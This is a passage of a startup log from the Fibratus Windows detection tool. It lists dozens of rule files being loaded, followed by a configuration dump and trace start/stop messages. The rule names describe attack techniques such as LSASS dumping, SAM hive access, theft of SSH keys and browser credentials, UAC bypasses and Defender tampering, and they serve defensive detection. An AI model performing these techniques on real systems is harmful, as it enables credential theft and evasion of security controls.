C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T13:25:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T13:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T13:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T13:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T13:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T13:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T13:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T13:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T13:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T13:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T13:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T13:25:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T13:25:27+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T13:25:27+01:00 level=info msg=bootstrapping with pid 12536. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T13:25:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true port=>25 enabled=>false content-type=>text/html to=>[]] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-net=>true enable-image=>true enable-mem=>true buffer-size=>512 enable-audit-api=>true flush-interval=>1s enable-dns=>false min-buffers=>16 enable-handle=>false enable-registry=>true stack-enrichment=>true enable-thread=>true enable-fileio=>true enable-threadpool=>false enable-vamap=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-backups=>15 max-age=>0 max-size=>100 level=>info log-stdout=>true] + output ......................... [ http=>[ tls-insecure-skip-verify=>false endpoints=>[] method=>POST enable-gzip=>false timeout=>5s enabled=>false serializer=>json] elasticsearch=>[ index-name=>fibratus servers=>[http://127.0.0.1:9200] bulk-workers=>1 gzip-compression=>false sniff=>false healthcheck-timeout=>5s trace-log=>false template-name=>fibratus healthcheck=>true flush-period=>1s enabled=>false healthcheck-interval=>10s timeout=>5s] eventlog=>[ level=>info enabled=>false] amqp=>[ exchange-type=>topic enabled=>false routing-key=>fibratus timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 vhost=>/ durable=>false passive=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-mmaps=>false skip-registry=>false scan-timeout=>10s skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] enabled=>false fastscan=>true excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-04T13:25:36+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T13:25:38+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T13:26:38+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T13:26:38+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T13:26:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-04T13:41:50+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T13:41:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T13:41:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T13:41:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T13:41:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T13:41:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T13:41:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T13:41:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T13:41:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T13:41:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T13:41:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T13:41:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T13:41:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T13:41:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T13:41:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T13:41:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T13:41:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml 